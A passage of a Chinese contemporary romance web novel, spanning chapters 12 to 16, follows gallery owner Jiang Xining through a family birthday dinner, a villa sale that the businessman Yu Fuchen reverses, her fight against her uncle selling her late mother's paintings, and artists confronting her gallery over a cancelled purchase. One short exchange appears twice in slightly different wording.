梁媛喜欢花,姜海澎亲自设计了玻璃花房,里面装有温控和湿控系统,精确提供适合植物生长的条件,确保一年四季繁花似锦、绿草如茵。花房另一侧则挨着人工池塘,里面种植着睡莲,复刻的是莫奈花园的意境。
江熙宁摘了些新鲜的玫瑰,又让许姨拿了几个花瓶来,修剪完插上。分别放置在客厅、餐桌。
这时一旁餐桌上的手机震动了两下,江印在群里回了消息。
江印:【什么礼物?】
系统:【江印拍了拍于付忱。】
系统:【江印拍了拍我的头造成故意伤害罪,赔钱!】
……
江印:【什么鬼,怎么换了?】
就是换了呗,看那个不爽。
江熙宁打字道:【哥,你到了?】
江印:【嗯,终于到了,再不到你哥我要饿死了。】
江印向来嘴挑,飞机餐难吃他便不吃宁可饿着。江熙宁拍了张餐桌上照过去,满满当当的菜快撑满整张桌子:【馋馋你。】
江印:【在碧海湾?】
江熙宁:【嗯,在爸爸家。】
昨晚姜明初走之前,喊江熙宁要回姜家吃饭,江印有点吃味,那口气自然的像是他们才是一家人。不过姜海澎是真的对江熙宁好,不像姜明初。
江印:【替我向姜叔代好。】
江印:【对了,少吃姜明初那家伙做的菜。】
江熙宁:【……】
姜海澎的设计公司最近接了政府的一个新城市地标项目,上午和各部门开了个会便早早的回家了,把所有的工作丢给了姜明初,姜明初是赶着饭点到家的。
饭桌上,姜海澎一直往江熙宁的碗里添菜,“瘦了,最近是不是忙的没好好吃饭?”
江熙宁现在处在备展后遗症中,吃饭的时间点和睡眠一样都还处于紊乱的状态,经常是饿了吃,不饿不吃。
见姜海澎担心,她撒娇道,“是不是我在您心里的分量变轻了,您才说我瘦了。”
“瞎说。”姜海澎被逗笑,“你忘了你爸爸的眼睛就是尺。”
姜海澎是建筑师,以前经常带江熙宁去附近的园林玩,她从未见姜海澎使用过任何测量工具,但每次回来,他对那里建筑的尺寸都了如指掌。
这让小时候的江熙宁觉得他好厉害。
江熙宁作膜拜状:“不愧是享誉业界建筑大师。”
席间,姜海澎又关心起江熙宁的感情状况来:“追我宁宁的人这么多,还没有挑中的吗?”
江熙宁扒拉着碗里堆成小山的美食,姜明初又把剥好的一碟虾放到她面前。她立刻拉过姜明初当挡箭牌:“明初哥都没挑好,您不先急他?”
姜明初比江熙宁大两岁,长得帅,脾气好,会做饭,追他的人也多。
“这种事嘛,年长的优先。”江熙宁冲他眨眨眼,将话题的矛头转移给脾性温和的姜明初。
姜明初慢条斯理地拿湿巾擦手,眼底带着温柔的笑意。他反问道:“你怎么知道我没挑好?”
13. 第 13 章
江熙宁睁大眼睛,甩过去一个“你有秘密竟然不告诉我的眼神”。从小到大,姜明初什么都告诉她。
可唯独,没告诉她有对象!
“太不仗义了!”她戳了戳碗里的排骨,“藏这么深,你告诉我,说不定我还能帮你出谋划策。”
姜明初抬手在她的后脑勺上轻拍了下,笑道:“尽整不靠谱的。”
“哪里不靠谱啦。”江熙宁嘟囔,“乔西娅追池延那会儿,我可没少助攻。”
“他挑谁都行,但你不行。”一旁的姜海澎完全没有在意姜明初恋情的意思,转过头对江熙宁说道。
听到这话的姜明初抽回的手在空中僵了几秒,清俊的眸光微微一沉。
“为什么?”他问。
为什么挑谁都可以,她不行?
姜海澎往杯子里添了点红酒,没有应姜明初的问题,语重心长道:“我们宁宁的对象不是万里挑一,我第一个不答应。婚姻对于女孩子是一辈子的大事。”
江熙宁察觉到姜明初的情绪变化。姜海澎的偏心向来是偏的明明白白的。同样的事,对她和姜明初执行的是双重标准。
当然这中间更多的是姜海澎对梁媛的愧疚。
见气氛凝重,江熙宁夹了一块鱼肉放进姜海澎的碗里,抬眼冲他笑道:“爸爸,遇到对的人,只谈恋爱不结婚也可以啊。”
就像您和妈妈一样。
这些年,姜海澎一直未再娶,对外声称自己是丧偶,有没有那张证真的不重要了。
姜海澎知道江熙宁是在宽慰他,看她的眼神更怜爱了几分,笑道:“吃饭吃饭。”
江熙宁松了口气,总算是把人哄开心了,聊天氛围重新变得轻松起来。
“康教授家的房子现在装修的怎么样了?”姜海澎问。
康教授是隔壁前任的屋主,宁大的数学教授,高中时江熙宁偏科,康教授还曾悉心帮她补习数学。后来,夫妻俩为了照顾嫁到国外的女儿,便把房子卖了。
“已将装修完了。”
“细节见人品,装修不讲规矩,不是什么好相处的人。”
“那就不相处,也没什么的。”
见江熙宁一副不为所动的样子,姜海澎绕回正题,直截了当说:“正好我们小区12栋的房子急卖,我让明初去签协议了。”
他夹了块菜,“等过户手续办完,装修搞定了,你索性搬过来住。”
“啊?”江熙宁愣了一瞬,原来前面的都是铺垫啊。
梁媛去世后姜海澎一直想给江熙宁换个大点的房子,考虑到她现在长大了,不一定愿意和两个老爷们住一起,选了些新的别墅盘让她挑,都被江熙宁以离画廊和碧湖湾都远为借口婉拒了。
姜海澎对新盘的位置确实也不怎么满意,便也没强求,怎么都不如住碧湖湾好。
“不用了爸爸。”江熙宁拒绝道,“芳满庭我住习惯了。”
芳满庭原本也是姜海澎的房子,梁媛离开姜家时,他把这房子给了梁媛。梁媛去世后,房子作为遗产给了江熙宁。
房子对江熙宁来说够住就好了,地方太大空荡荡的,也怪瘆人。
姜海澎却不由分的说道:“生日礼物不可以拒绝。”
他转过头,嘱咐姜明初,“你给宁宁安排宁城最顶尖的室内设计公司。”
姜明初:“我亲自盯着。”
父子俩一人一句,完全不给她插嘴的机会,甚至已经开始规划起房子装修周期、设计风格,直到一顿饭结束。
江熙宁晚饭吃的实在大多,一顿吃了整整一天的量,胃里胀得难受。她决定出门遛弯消食,姜明初提议陪她一起。
姜海澎因为喝了点酒加上忙活了一下午,在家先休息了。
碧湖湾位于上江区的核心地段,闹中取静,安保森严。到了夜晚,安静祥和。空气中弥漫着淡淡的花香,令人心旷神怡。
“明初哥,你帮我劝劝爸爸?”江熙宁边走边说道。
现在画廊已经稳定下来,她有能力自立,而且也打算买下芳满庭的房子,把钱还给姜海澎,只是还没找到合适的机会开口,姜海澎又要送她一套别墅。
姜明初侧目看她,笑了笑:“你自己不劝,倒想让我做恶人?”
江熙宁鼻哼一声,撒娇般说道:“这不是,你比我有立场么。以后这些资产可都是你的诶。”
姜明初轻笑:“既然是我的,我有权决定给谁?”
“……”
江熙宁被他的话堵得哑口无言。
见她鼓着腮帮子没吭声。姜明初忍不住笑了笑,转移话题道:“听说,这次的画作被人全拍下了?”
江熙宁还在想着刚才的问题,反应慢了半拍,“你怎么知道?”
“航航告诉你的吧?”她猜测道。
画廊里的人几乎都认识姜明初,航航在画廊待的时间最久,和他也最熟悉。
姜明初没正面回答,算是默认。
“在追你?”
江熙宁不知道航航告诉他多少,不过有一点可以确定的是,航航不知道背后买家换了人,订单也要取消。姜明初自然也不知道。
怕他知道了又操心她的事,她模棱两可道:“追我的人不一直挺多的么。”
这语气染了几分俏皮和傲娇的意味。
姜明初笑着肯定她的话:“确实。”
确实也不是第一次有追求者在她的画廊买画。
两人沿着静谧的小区道漫步,路灯的微光将他们的影子拉得长长的,不知不觉间,绕到了12栋楼前。
屋里灯光透过窗帘微微晕开,显然有人在家。
就在这时,“吱呀”一声,12栋的大门从内打开,一道熟悉的身影跨步而出。
“宁宁!”于天文的惊讶溢于言表,脸上浮现一丝尴尬的神色,“你怎么在这?”
最近几日,于天文都不敢去找江熙宁。自从画廊回来后,他哥没收了他所有的资产,银行卡也全被冻结。在他哥怒气平消之前,他都没法支付画廊的尾款。
原本想解决这一切再去见江熙宁,没想到却提前遇上了她。
江熙宁也没想到会在这里碰到于天文,她指着12栋,“你住这儿?”
于天文点了点头,目光快速扫向她身旁的男人,看起来比江熙宁年长一些,儒雅绅士、温和有礼。
“你……男……”他犹疑的看着江熙宁,男朋友三个字卡在喉咙里。
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江熙宁介绍一旁的姜明初:“我哥,他住这。”
“哥?”于天文恍然想起江熙宁的确有个亲哥哥,他哦了两声连忙热情的喊了句,“哥哥好!”
姜明初将他的心思看在眼里,礼貌回应道:“你好,姜明初。”
“没想到和你哥是邻居。”听到对方自报姓江,于天文完全放下了戒备,态度一百八的大转变,颇有一种相见恨晚的热情,“明初哥,以后随时来我家玩!”
江熙宁听到这话怔住片刻。
他不会不知道自己的房子被卖了吧?
所以于付忱收拾于天文的时候连个招呼都没打?
她想起乔西娅那句“你校友挺狠”的评价,这么看来还是温和了,这治人的手段怎么能不算冷血呢。
同样感到意外的人还有姜明初,户主对卖房子不知情只有一种可能,这不是他的房子。他记得和他联系签协议的人是一个叫肖易的人。
姜明初的眉头很快的皱了下,问道:“你是肖易?”
于天文震惊:“明初哥,你认识肖易?”
“他和我签的卖房协议。”
“什么协议?”
“……”
-
集团线上会议进行了一天终于结束,于付忱倚在椅背上,抬手捏了捏眉骨。
这时,桌上的电话响起。
于付忱慢条斯理的拿过手机扫了眼,随即在红键上一点,直接挂断电话。
没过两秒,一旁肖易的手机又响起。
他抬头看了眼自家老板,汇报道:“是小于总。”
于付忱面无表情的看手机消息,“告诉他,认真考虑我的建议。”
“好的。”
肖易向右划动屏幕。
“我哥把我的房子卖了?”电话里传来于天文崩溃的声音,他以为让他去集团打工还债只是说说而已。
肖易如实回答是,并把于付忱的话转述。
“去集团上班?我不去!我哥在哪里,我要去找他!”
“于总,还在忙。”
“我哥到底在忙什么?”
忙着——
肖易抬头看向椅子里的人。
——玩手机。
于付忱正翻着群里江熙宁和江印的聊天记录。
看到江熙宁改掉了拍一拍的文案。
继续往下滑,她发了今晚的生日大餐。
再往下——
他的视线落在“碧湖湾,爸爸家”这条消息上时,听见于天文在电话里失控,“太过分了!我哥怎么能卖了我的房子,还卖给宁宁。他是不是故意的?你转告他,青城我是绝对不会回去的!”
于付忱沉冷的抬眼,望向肖易的眼神中带有询问。
肖易被这眼神看的一惊,一切流程他都有汇报。他也不清楚怎么买家和画廊主理人扯上了关系。
他连忙替自己老板解释,但于天文已经挂断电话。
通话结束,肖易立刻调取出邮箱里抄送于付忱的邮件,里面附有这次房屋交易的资料和签约协议。
于付忱点开协议,目光落在买房人的名字上。
姜海澎。
碧湖湾,姜家。
14. 第 14 章
“我们抛出售房信息后,姜明初姜总很快联系上我们,已经签完字先给我们发来了协议。”肖易一五一十的作着汇报。
碧湖湾作为宁城数一数二的豪宅区,又是姜海澎得意之作,这次合作异常的顺利。姜明初在签约条款上一字未改,当天便返回了协议,给的价格也高出市场几百万。
怎么看都是一个优质的买家,一笔划算的买卖。
然而,于付忱扫了两眼便叉掉了文档,身体向后一靠,转着手里的腕表,轻描淡写道,“这么急。”
溢价交易,要么是势在必得,要么是赶什么重要的时间节点。
肖易听完这话,联想到小于总在电话里提到画廊主理人。
犹豫几秒后,将自己的猜测说了出来,“难道姜总也在追求江小姐?”
“买房一来哄江小姐开心,二来是劝退小于总。碧湖湾的别墅市值一个多亿,未来还有保值空间,比画值钱不少。如今小于总连您这座强大的靠山也没了,想和姜明初比拼经济实力自然是输的一塌糊涂。这才情绪激烈……”
肖易注意到座位里的人目光沉了下来,闭上了嘴。
于付忱靠在椅背上,屏幕光印在他漆黑的瞳仁里,坍缩成冷白的小点。空气中渗出几分寒意。
桌上的手机再次震动,贺韫来电。
“你把碧湖湾房子卖了?”一接起电话,贺韫开门见山的问道。
于付忱低头看了眼时间,这么会儿功夫,于天文已经在贺韫面前卖完惨了。将将过去十五分钟。
比他想象的快了点,倒是有进步。
“您不是想他回青城。”
贺韫出身于名门望族,思想开明前卫。养儿如练号,自从小儿子擅自退学,惹怒了于向华,她对于小号养废这个事实早已坦然接受。
前段时间于付忱说服老爷子让他回集团,她的确是高兴的,不过……今天还有让她更高兴的。刚才于天文在电话里言辞灼灼的说在宁城有特别喜欢的女孩子,让她这老母亲心里又燃起了废号能再养起来的希望。
都说老母亲念叨百句,抵不上喜欢的人一句。说不定有了儿媳妇,于天文自此心也收了,窍也开了呢!
“他是不是在宁城有个追了很久的女孩子?”贺韫兴致勃勃地问,“你这次去有见到吗?”
久?
对久这个词怕不是有误解。
于付忱极浅的哼笑了声,无情拆穿道:“两个月。”
“……”
半晌后,贺韫像是说服自己似的说了句:“那确实……挺久的。”
“???”
抱着小号说不定还能救救的心态,贺韫语重心长的说:“你也知道你弟弟在情感上不是什么长性的人,从小喜欢跟在女生屁股后面跑,哪回你见他追人超过一个月了?就算有,也没在妈面前提过啊。”
“嗯,太多了不知道提哪个。”
“他和妈解释这次是为了追喜欢的女孩。钱嘛,给女孩子花再多都是应该的,你这当哥哥的得帮他,不能让他被情敌给比下去。”
于付忱缓缓抬起眼皮,中译中她的话:“所以是让我把他情敌比下去?”
贺韫欣慰:“对,意思就是这么个意思。”
于付忱点了点头。
两秒后。
他不咸不淡的开口:“那有他什么事。”
贺韫一噎,大儿子的逻辑无敌有道理,竟让她无话可说。
随即,她又从这话中品出了另一丝丝的希望。小儿子若是有了中意的人固然不错,但如果是大儿子——那更行了。
她眼里带了点兴奋,试探地说道:“你如果喜欢那画廊主理人,那妈更支持你。”
过去两年,多少好人家的千金介绍给他认识,一个没看上。为此贺韫担忧了好一阵,生怕儿子的取向真有什么“特殊”。毕竟大学那会儿,他和一个特别漂亮的男室友走的很近,现在那男室友还是个大明星。毕业分手季,他还低沉了好一阵。
所以,如果大儿子能喜欢那画廊主理人,小儿子伤心就伤心吧,反正他不长情。
“挂了。”于付忱起身,语气冷淡,显然耐心已尽。
电话挂断,办公室里重新归于安静。
于付忱抬眼看向站在一旁的助理,“明天联系买家取消协议,一切违约金我们承担。”
“好的老板。”
肖易张了张嘴,欲言又止。
于付忱皱眉:“还有事?”
肖易愣了片刻,随即举拳比了个加油的姿势,满脸认真道:“老板,我也支持你。”
“……”
-
与此同时,Free酒吧内灯光闪烁,空气中充斥着浓烈的酒气和重低音。
于天文垂头丧气的走回吧台。
越往里走,电音的节拍愈发震耳。
以前只要轰炸喧嚣的音乐一响,他全身的血液立马能跟着沸腾起来,但现在却像是血管里堵了什么似的,把情绪压得死死的。
没劲。
见他打完电话回来,池延便凑上来,“怎么样啊。”
于天文耸耸肩,惨是卖了。但以他对他哥脾性的了解,成功概率不大。他认定的事情,别说贺韫,就算是爷爷也未必有用。
电话打了,聊胜于无吧,万一好使呢。
“别丧了,船到桥头自然直。”池延递酒给他,于天文接过猛的大灌一口。房子都被他哥卖了,画廊的交易也被他哥否了。
“宁宁肯定觉得我不靠谱。”于天文郁闷道。
“你直接让你妈给你钱,把画买了不就行了。”池延在一旁出主意。
于天文深深的吸一口气后叹出:“我来宁城的时候,我爷爷下过命令家里谁都不能私下帮衬我,她和我爸都不敢。”
“……”
池延也是这两天听于天文说起家里的事,才知道老爷子的铁腕做风,简直不可思议。谁家亲爷爷会舍得把亲孙子赶出家门。
幸好他爷爷不这样。
“那你哥为啥敢。”池延不解地看向于天文。“这些年,不都是你哥帮你。”
“因为他敢。”
“哈?”
在于家,只有于付忱敢做这种事。敢惹于向华生气。
小时候,他和哥哥不听话,挨打只是基础。什么夜间负重行走、烈日下站军姿都算小儿科。最可怕的是那种军队式的荒野训练——直接被丢进深山,靠着少量物资想办法找到出路。这样的惩罚对体力和心智都是极大考验,几乎让人崩溃。
反正于天文是不敢违抗的,听说他爸小时候也是这么被“磨”过来的,习惯性地选择服从。渐渐地,他们也就适应了,生活变得像游戏里的NPC一样固定:早上五点起床,六点体能训练,七点吃饭,八点上学的上学,上班的上班……。
但有件事,让于天文认识到他哥其实一点都不怕。
“有一年元旦,我爷爷精心筹备了继承人晚宴,打算正式对外宣布我哥作为未来的接班人。那场晚宴规格极高,政要、青城名流、集团股东都在受邀之列。结果那晚,这么重要的场合我哥说消失就消失了,很晚才回来。我爷爷问他为什么缺席,他只回了一句:‘去参加兄弟的生日了。’”
好简单粗暴的理由。
“有种。”池延听完,忍不住感叹一声,眼中多了几分佩服。
于天文无奈地笑了笑,和池延又碰了一杯。两人默默喝了几口,气氛略显沉闷。
“我还有一个办法。”池延想到了什么,开口道。
于天文听到这话眼神一亮:“你说。”
“你哥要找江熙宁退画,你不让他退不就完了。”
一句没有语病的废话。
于天文撇撇嘴:“你说的容易。”
池延又凑近了些:“我是说,你让他退不了,不就完了。”
-
江熙宁回到家,将车缓缓倒入车库,并排独立的另一个车库里,于付忱的车还停在里面。这一天也没说要来开车,她犹豫着要不要问问。
点开群时,江熙宁改了主意。
三个人的群更像是她和江印两人的私聊,江印下飞机那会在群里艾特于付忱问礼物的事儿,他到现在都没回复,可能是忙的没时间。这会儿时间也不早了,即使他忙完了看见消息,她也要睡了。
算了。
明天再问好了。
江印大概也是发现群里和私聊没什么区别,所以最新的一条消息是私发的。
他拍了江熙宁寄给他的生日礼物照片
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。一款定制的香桃木男香。有助眠安神、缓解疲劳的作用。临近毕业季,天才也逃不开论文的压榨,更何况江印还偷摸赶回来陪她过生日,浪费的时间需要加班加点的赶回来。
还有一张学业符。
江印用红笔圈了出来:【我需要这个?】
江熙宁换了鞋进屋,边走边打字:【和菩萨特意求的,保佑你学业有成。】
打完最后一个字刚想点发送,她突然想起江印在餐厅时说起延毕的原因。怕又戳到他肺管子,她删除后重新编辑了条:【那不然给你求一个姻缘的?】
江印:【……】
手机热闹了一天,电量告罄,江熙宁拿到卧室充上电,然后去了浴室。
等她洗完澡、抹完护肤品才重新拿过手机来看。
江印在她洗澡时又发了消息:【老于到底送你什么礼物?】
后面配了一个神神秘秘的表情。
大概是看她没回复,隔了五分钟,自顾对于付忱的这一行为作出总结:【果然是玩阳谋的高手,知道谁对我最重要。】
潜台词是。
于付忱已然拿捏住他最在乎的人,知道从江熙宁这儿下手投其所好。
隔着屏幕都能感受到江印的傲娇和得意。江熙宁头一回发现江印这么会自我攻略,他大概已经脑补一出于付忱为他大费心思的戏码。
事实是,于付忱只是随手送了她一个赠品。
为防江印因这人的随意之举最终心里落差太大面子上绷不住,江熙宁引用江印的问题,在对话框里一字一句的敲下五个字。
【蛋糕店赠品。】
隔日,江熙宁坐在办公室的电脑前,筛选下一期“见你”展想合作的作品。看了一圈下来,唯一引起她兴趣的,只有一幅现当代水墨画。
与艺术家通完电话,敲定完合作细节,已经是中午。江熙宁想起于付忱那还没联系。距离上次他送她回家已经过去两天了,于付忱即没有加她微信,也没有在微信群里冒过泡。
私聊,群聊,看起来都不想聊。
江熙宁也一样。
早知道这样,于付忱的电话要是晚两天删就好了。
后悔的三秒里,江熙宁忽然想到了什么,从包包里翻出一张名片。肖易那天留了电话给她。
她按照名片上的号码拨过去。
“抱歉江小姐,”肖易听完她的话后,礼貌的回答,“那是老板的私人车。”
江熙宁一顿。
话里的意思再清楚不过,他的车别人不能碰。她顿时回想起于付忱送她回家那天不让她开车,原来不是嫌弃她技术不好,就算她技术好到能去F1,他也不可能让她碰一下。
江熙宁心底轻嗤一声,但嘴上还是笑盈盈道:“那麻烦肖助理转达于总,方便的时候来开车。”
“会的。”肖易应声。
挂完电话,肖易抬头看向会议室里正在开会的于付忱。老板坐在众人中间,冷静而专注地聆听,偶尔点头示意或给出意见。
这已经是今天的第三个会了。
老板的生活,是真的只有工作。肖易从没见老板身边有过什么女人。
母的都没有。
无对象一身轻啊,说走就走,老板接了个电话就“杀”到青城。倒是他这个小助理,刚谈上的新鲜热乎的恋爱硬生生变成了异地。最近工作量大到离谱,小女友昨天还因为他没及时联系而生气,哄了半天才算消气。
正想着,会议结束,各部门主管鱼贯而出。肖易深吸口气,走进去。
“老板,刚才江小姐打电话过来,她让您去她家开车。”他特意加重了“您”字。
继昨天说要“支持老板”后,懂事的助理已经开始执行了!
当然他也窝藏了自己的小心思,若是真帮上老板,他也算是记功一件。等哪天请假去会小女友说不定都能方便些!
于付忱动作一顿,目光直直的扫向肖易。片刻后意味不明的收回了视线,似是不信。
“她这么说的?”
就这么被盯了片刻,肖易头皮一麻,十二分心虚,生怕被看出是两头骗。但骑虎难下,只能硬着头皮继续编。
“江小姐说、说……她家不是免费的停车场。”
“……”
15. 第 15 章
打完电话,江熙宁刚翻开艺术家资料,乔西娅急匆匆地走进办公室。
“宁宁,梁耀又在出梁姨的画。”
梁媛意外去世那年,梁耀趁着姜海澎带江熙宁去国外处理后事,拿走了画室里所有的画。江熙宁捧着母亲的骨灰回来,他却在梁媛的遗像前粗着脖子,厚颜无耻地声称那些画是姐姐生前赠予他的,要好好“珍藏”。
画作不同于房产,私人交易、赠送等多种非正式转让方式让所有权更难确认。梁耀正是看中这一点,才如此肆无忌惮。嘴上“姐弟情深”,结果在梁媛去世不到两个月,背地里却四处寻找买家。
等江熙宁知道的时候,梁媛生前最喜欢的那副画,已经被他随意的在一个私人小型拍卖会上处理掉了。
“画不就是为了卖的吗?我们一家需要用钱,活人不比死人更重要?”梁耀被发现后依旧理直气壮的狡辩:“我姐都没说不行,你一个小辈来质疑长辈做事?”
二十岁的江熙宁,第一次彻底看清了所谓长辈那丑陋的嘴脸。为了阻止梁耀继续出手母亲的画作,她狠下心来,从自己手头整理出与梁耀卖出的画作风格、时期相近的几幅,分散渠道,以更低的价格出售。她用这种伤敌一千、自损八百的方式,拼尽全力守住了母亲剩余的作品。
销售渠道多且价格混乱,之后很长一段时间,没人敢轻易接手梁媛的作品。
“你舅舅可真会糟蹋好东西。”乔西娅气愤地说道,“他懂艺术收藏吗?一个艺术家的心血能够被世人看到,离不开专业的运作。参展、推广,哪一项不需要资金、心力?不然要我们画廊作什么?”
太多太多有天分的艺术家,因急功近利的市场流通,作品湮没在岁月中,最终无人问津。一幅画的价值或许在于被卖掉,但艺术的价值在于被看见。梁媛绝不是前者。
梁耀看手中无人问津的画作,收敛了一阵子。后来江熙宁回到宁城他又打起了新算盘,等江熙宁开了画廊后会肯定会炒作母亲的作品价格,但两年过去,她却始终没有任何动静。
这一次他悄悄出画,恰好被乔西娅的藏家朋友遇上。那位藏家和乔西娅是多年的朋友,第一时间把这消息告诉了她。
江熙宁接过乔西娅递来的手机,看到对方发来的照片,是一张梁媛早起的练手作品。
“之前他出的价格比你高,指定被买家骂。这次又不舍得拿贵的作品出来低价卖。所以才拿梁姨早期的作品来卖。”乔西娅鄙夷道,“真是愚蠢。当藏家都和他似的外行。”
恰好,江印前几天带回几幅梁媛的早期作品。
江熙宁:“这次他要再出画,我再把价格压低一倍。”
顿了顿,她补了一句:“我妈妈的东西,不会放那儿成了他们的道理。”
她要梁耀抢走的那些画,还回来!
“那就去,抢回来。”
江熙宁忽然一怔,因为这句话,一段记忆突然被拉扯出来。
她突然想起梁耀第一次卖掉梁媛画作那天。青大热热闹闹的在举行男篮比赛,但那天临近傍晚,却突然暴雨将临。
天空如一幅被燃成灰烬的画卷,沉入无边的暗色。
密不透风的廊道尽头、一道比黑暗更暗的身影,对她说。“那就去,抢回来。”
当年这么一句狂到没边的话,鼓动了二十岁的江熙宁用伤敌一千,自损两千的方法,为母亲的画作的博得了一个有价无市。
“降火的,来一杯?”乔西娅的话打断了江熙宁的思绪。
江熙宁回过神,和李晋许都分手那么多年了,这些事儿早该忘了,也不知道为什么突然又回忆起来。
见乔西娅冲了一杯菊花茶,江熙宁摇摇头,继续翻着艺术家的资料。
乔西娅看到她翻资料,像是想起了什么,兴奋地说道:“给你推荐一位宝藏美女摄影师。”她掏出手机,飞快地划着相册。
“降火的,来一杯?”乔西娅的话打断了江熙宁的思绪。
江熙宁回过神,和李晋许分手那么多年了,这些事儿早该忘了,也不知道为什么突然又浮上心头。
她摇摇头,继续翻着艺术家的资料。
乔西娅见她在看资料,忽然像是想起了什么,眼睛一亮,兴奋地说道:“给你推荐一位宝藏美女摄影师。”她掏出手机,飞快地划着相册。
半分钟后。
“找到了!”乔西娅转过手机屏幕,递到江熙宁面前。
“这是她最新的作品。”
江熙宁挑眉,拍的是画廊开幕酒会那天,她和于付忱在楼梯上撞见的时候。
一张是全景。
照片中白净无瑕的墙壁和曲线蜿蜒的楼梯构成了层次分明的背景,精心构图的画面中,三分线位置恰到好处地站立着两个人影。
男人身着黑色的西装,枭心鹤貌、气场强盛。
女人穿着复古绚丽的抹胸礼服,容艳身娇。礼服上沿暮山紫真丝花朵,沿着曲线优雅延伸,因站的位置高,仿若一朵向他倾身的花。
另一张,是更近距离的特写。
男人目视前方,女人侧脸看向镜头。
乍一看甚至没什么特别之处,只是一张拍摄技巧娴熟,精美的俊男靓女照。但细节却藏着巧思——中间的三分之一留白,若是裁切去除后再拼接,两个人的脸恰好重叠掉一半,犹如毕加索错位的脸。
倒是有几分有趣。
“长得漂亮,还有想法!”
江熙宁看完作品来了兴趣,听乔西娅这么说问道:“有她本人的资料和照片吗?”
“资料有,照片嘛——”乔西娅顿了顿,说道:“她本人超i,怕镜头。”
“摄影师怕镜头?”江熙宁笑。
挺新鲜,挺反差。
“她想拍一组这个系列。”乔西娅放下茶杯,不怀好意的盯着她:“拍你和你校友。”
她。和于付忱?
不可能。
江熙宁挑眉,“你这属于侵犯肖像权了。”
乔西娅冲她挤挤眼,“那我现在征求你的意见?”
“我是说他
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。”江熙宁指了指于付忱。
乔西娅不死心:“你找他商量商量?”
江熙宁用一种你没睡醒的眼神看她,“还是咖啡适合你。”
乔西娅差点呛了一口菊花茶。
江熙宁把肖易的名片给她,“你的电话我推给肖助理了,退画到时他们法务会出一份三方协议,估计这两天就会联系你。”
乔西娅接过名片,全然没有在意协议的事:“我靠,你这校友也太高冷了吧。诶,你诶,你的微信多少人想要啊,他竟然只给你一张名片?”
“……”
就在江熙宁想着怎么和乔西娅解释,其实于付忱还是李晋许的室友,并且对她印象并不怎么样时,办公室外突然传来一阵骚动。
酒酒慌张地跑进来,语无伦次道:“宁、宁宁姐,西娅姐……”
江熙宁示意她慢慢讲,“怎么了?”
酒酒稍稍喘了口气,急切道:“有几个这次合作的艺术家,气势汹汹地闯进画廊——”
话还没说完,办公室的门被猛的推开,一前一后进来三个人。为首的人江熙宁再熟悉不过了,原本答应给画廊的作品他说无故弄丢了,后来交付的画作是重新创作的,开展的前一晚迟迟不交货,她等了一个晚上。
丁呈的作品超现实主义、黑暗、荒诞,给人极强的视觉冲击力。
他的人也是。
他看起来非常瘦,因而脸颊显得更长,有些松垮的单眼皮总是耷住眼睑的上三分之一,因而看人目光的有些阴鸷。
“江主理人。”丁呈脸上带着笑,语气却阴阳怪气:“听说我们的画被签约了?这等好事,怎么没人通知我们?”
江熙宁和乔西娅互相看了一眼,签约过的消息,从未对外说过。他们是怎么知道的。
乔西娅:“谁和你说画签约了。”
丁呈拍了拍自己,指了指身后和他一起来的人,“我们作为创作者吗,现在连知情权都没有了是吧?”
他身后的向锐不耐道:“就说有没有这回事。”
王木达:“就是!”
江熙宁:“有。”
既然知道了,她也没必要瞒着,“但是藏家因为个人原因退购。合作事宜在没有盖棺定论之前——”
话没说完,丁呈冷笑一声,转头和向锐、王木达说:“你们看,我说的没错吧。她还想忽悠我们。”
“对方分明付了定金。”丁呈的目光狞厉几分,一字一句道:“是你,江熙宁,画廊主理人,主观不想卖。”
“我们的作品有问题另说,没有问题、藏家也看中了为什么不卖?”
“我不同意。”
丁呈双手抱臂,瘦削的肩膀耸动:“我们也是要吃饱饭的。”
其他人附和:“就是。”
“藏家出现了资金问题,画廊评估风险后做出的决定。”乔西娅:“画廊的代理协议了,在销售的事情上,我们有权作出最终的决定。”
“你可别逗了,买画的是华盈集团的掌权人,你说他没钱?”
16. 第 16 章
丁呈是如何知道这事,江熙宁无从得知。眼下棘手的是,他的话一下子打乱了她设想的沟通方式。
专业的藏家是艺术品的推动者,他们的收藏可以帮助艺术家获得更多的曝光机会,包括二次展览、艺博会和媒体报道。即使只是普通的爱好者,也是对于画作本身的一种肯定。
于天文买画的初衷与这二者可以说毫无关系。这对于新锐的艺术家来说,不仅仅是失去了再次进入市场流通的机会,也是对于艺术家的心血是一种损耗。
但是现在,买家从于天文变成了于付忱,这便彻底调转过来了。
于付忱虽然也不是专业藏家,但他头上顶着商业巨头掌权人的身份和泼天的关注度,影响力甚至比一个专业的藏家更强,无论是对于画作还是画廊都是最有效的推广和宣传。
这对于青年艺术家来说,成了千载难逢的机会。江熙宁原本可以说服对方的理由已然是不成立了。可是于付忱签约,只是单纯为了退画而已。
见江熙宁没解释和反驳,丁呈嘴里拖腔拿调的啧了一声。
“当初画廊承诺的要推广、打造艺术家的个人品牌,不会是你诓骗我们把作品交给你的话术吧?”
江熙宁对上他挑衅的眉眼,指出他话里的逻辑问题,“诓骗作品最终的目的是为了钱。你不是说华盈集团的掌权人不缺钱吗?如果画廊是为了钱,为什么不直接这么做?”
“那就要问画廊主您了。”
丁呈煽风点火,王木达和向锐跟着质疑。
“我们想知道画廊的理由!”
“不给我们说法,我们今天就等到一个说法!”向锐关上了办公室的门,大有一副,要不到说法便不走的架势。
似乎觉得掌握了主动,丁呈晃悠悠的办公室里东摸摸,西看看。得意地笑着:“画廊这样的做法,真不如直接解约算了。”
丁呈在艺术圈的口碑并不好,并不是因为他的技艺逊色。相反他的画技十分出众。他的作品大多以探索现实和疯狂为主题,构图巧思、色彩表现、荒诞神秘的叙事手法给人很强的视觉冲击力。
这也是江熙宁,当初在知道他对于利益的关注高于作品的情况下,还愿意和他合作的原因。画廊签约新锐的艺术家,短期的经济效益不是第一的追求目标,所以在合作初期她选择了更适合他的代理模式,多让一成佣金分成的方式展览他的作品。
并没有直接签约丁呈的方案,却让他对画廊一度不满,认为画廊是对他的绘画技术不认可,所以才给出这样的方案。
“画廊解约的唯一一种情况,是对方违约在先。”
江熙宁五根指尖依次在手机上轻点,发出清悦的声响。
说完她一顿。
“比如,私下交易签给画廊的作品。”她故意加重私下二字。
丁呈在画展展出之前,还是偷偷违反了双方的合作约定。他私下将原本承诺交付的作品转售给其他藏家,谎称自己没有创作灵感需要延期。在展览前夕,他不接电话,手机关机,所有人都无法联系到他。
最后开展前,才交上一幅仓促完成的作品,敷衍了事。
江熙宁不过是想画展结束后,再来追究这件事。他却以为她不知道。
